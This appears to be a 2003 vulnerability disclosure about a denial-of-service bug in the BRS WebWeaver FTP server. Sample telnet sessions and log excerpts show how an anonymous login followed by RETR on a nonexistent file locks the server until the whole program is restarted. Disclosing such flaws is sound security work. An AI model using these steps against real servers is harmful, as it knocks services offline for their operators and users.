    BRS WebWeaver have a dumb bug when trying to access
    object, that not existent, with RETR command. Normal 
    behavior of ftp server will be print error message, 
    but webweaver just locks himself. 
    
    }-------- sample session -----------{
    
    e@some_box$ telnet hostname 21
    220 BRS WebWeaver FTP Server ready.
    USER anonymous
    331 Password required for anonymous.
    PASS user@host
    230 User anonymous logged in.  
    RETR blah         
    150 Opening data connection for blah.
    
    }-------- sample session -----------{
    
    
    
    Then i just close telnet session with webweaver and
    try to connect server with ftp program.
    
    
    
    }-------- sample session -----------{
    
    e@some_box$ ftp hostname
    Connection with hostname
    
    }-------- sample session -----------{
    
    
    
    That's all. Server is locked. No one can login in ftp 
    server. If i try to restart ftp server, then in my 
    log file will appear following:
    
    
    }---------- from ftp.log -----------{
    
    21/Apr/2003:17:30:27 - 195.**.***.** - User: anonymous - Disconnected 
    FTP Server Stopped
    21/Apr/2003:17:30:38 - ERROR: FTP Server Fail to Start
    21/Apr/2003:17:30:38 - Error 10022 in function WSAASyncSelect
    Invalid argument
    
    }---------- from ftp.log -----------{
    
    
    Therefore, to restart ftp server u must close webweaver (with http
    server) and run it again.
